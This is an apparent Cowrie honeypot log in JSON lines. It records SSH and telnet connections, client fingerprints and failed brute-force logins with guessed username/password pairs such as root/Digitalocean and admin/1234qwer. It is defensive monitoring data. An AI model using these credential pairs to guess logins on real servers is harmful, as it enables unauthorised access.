{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:09:29.143703Z","src_ip":"68.183.236.1","session":"2f9ca57fc3fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Digitalocean","message":"login attempt [root/Digitalocean] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:09:30.153666Z","src_ip":"68.183.236.1","session":"2f9ca57fc3fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:09:31.402962Z","src_ip":"68.183.236.1","session":"2f9ca57fc3fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45646,"dst_ip":"159.203.135.109","dst_port":22,"session":"07a69b4de8c5","protocol":"ssh","message":"New connection: 159.203.92.129:45646 (159.203.135.109:22) [session: 07a69b4de8c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:09:43.347757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:09:43.351993Z","src_ip":"159.203.92.129","session":"07a69b4de8c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:09:43.358578Z","src_ip":"159.203.92.129","session":"07a69b4de8c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234qwer","message":"login attempt [admin/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:09:43.368526Z","src_ip":"159.203.92.129","session":"07a69b4de8c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:09:44.374631Z","src_ip":"159.203.92.129","session":"07a69b4de8c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0025143623352,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:09:59.723974Z","src_ip":"176.29.26.223","session":"a43f7193e914","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":29966,"dst_ip":"159.203.135.109","dst_port":23,"session":"abe94681a10e","protocol":"telnet","message":"New connection: 176.29.26.223:29966 (159.203.135.109:23) [session: abe94681a10e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:10:01.142140Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":46042,"dst_ip":"10.17.0.5","dst_port":22,"session":"519180335ffb","protocol":"ssh","message":"New connection: 165.154.5.148:46042 (10.17.0.5:22) [session: 519180335ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:10:18.383780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:10:18.387823Z","src_ip":"165.154.5.148","session":"519180335ffb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:10:18.605363Z","src_ip":"165.154.5.148","session":"519180335ffb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"driver","message":"login attempt [root/driver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:10:19.504013Z","src_ip":"165.154.5.148","session":"519180335ffb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:10:20.723315Z","src_ip":"165.154.5.148","session":"519180335ffb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":57178,"dst_ip":"10.17.0.5","dst_port":22,"session":"be6ccd9e0895","protocol":"ssh","message":"New connection: 68.183.236.1:57178 (10.17.0.5:22) [session: be6ccd9e0895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:10:27.545354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:10:27.550212Z","src_ip":"68.183.236.1","session":"be6ccd9e0895","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:10:27.787867Z","src_ip":"68.183.236.1","session":"be6ccd9e0895","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu#2023","message":"login attempt [ubuntu/ubuntu#2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:10:28.768963Z","src_ip":"68.183.236.1","session":"be6ccd9e0895","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:10:30.009459Z","src_ip":"68.183.236.1","session":"be6ccd9e0895","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53554,"dst_ip":"159.203.135.109","dst_port":22,"session":"32f81e81291f","protocol":"ssh","message":"New connection: 159.203.92.129:53554 (159.203.135.109:22) [session: 32f81e81291f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:10:31.225178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:10:31.356943Z","src_ip":"159.203.92.129","session":"32f81e81291f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:10:31.361326Z","src_ip":"159.203.92.129","session":"32f81e81291f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234rewq!","message":"login attempt [admin/1234rewq!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:10:31.687881Z","src_ip":"159.203.92.129","session":"32f81e81291f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:10:32.844137Z","src_ip":"159.203.92.129","session":"32f81e81291f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":54034,"dst_ip":"10.17.0.5","dst_port":22,"session":"1374225286e1","protocol":"ssh","message":"New connection: 165.154.5.148:54034 (10.17.0.5:22) [session: 1374225286e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:11.927451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:11.932260Z","src_ip":"165.154.5.148","session":"1374225286e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:12.150647Z","src_ip":"165.154.5.148","session":"1374225286e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aqua","message":"login attempt [root/aqua] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:13.056761Z","src_ip":"165.154.5.148","session":"1374225286e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39494,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5a0869138a5","protocol":"ssh","message":"New connection: 159.203.92.129:39494 (159.203.135.109:22) [session: d5a0869138a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:13.477174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:13.482314Z","src_ip":"159.203.92.129","session":"d5a0869138a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:13.486953Z","src_ip":"159.203.92.129","session":"d5a0869138a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123654","message":"login attempt [admin/123654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:13.498591Z","src_ip":"159.203.92.129","session":"d5a0869138a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:14.277791Z","src_ip":"165.154.5.148","session":"1374225286e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:14.504316Z","src_ip":"159.203.92.129","session":"d5a0869138a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":48602,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdbbcc8618ab","protocol":"ssh","message":"New connection: 68.183.236.1:48602 (10.17.0.5:22) [session: cdbbcc8618ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:25.028308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:25.032816Z","src_ip":"68.183.236.1","session":"cdbbcc8618ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:25.270840Z","src_ip":"68.183.236.1","session":"cdbbcc8618ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2020","message":"login attempt [root/server@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:26.259117Z","src_ip":"68.183.236.1","session":"cdbbcc8618ab","protocol":"ssh"}
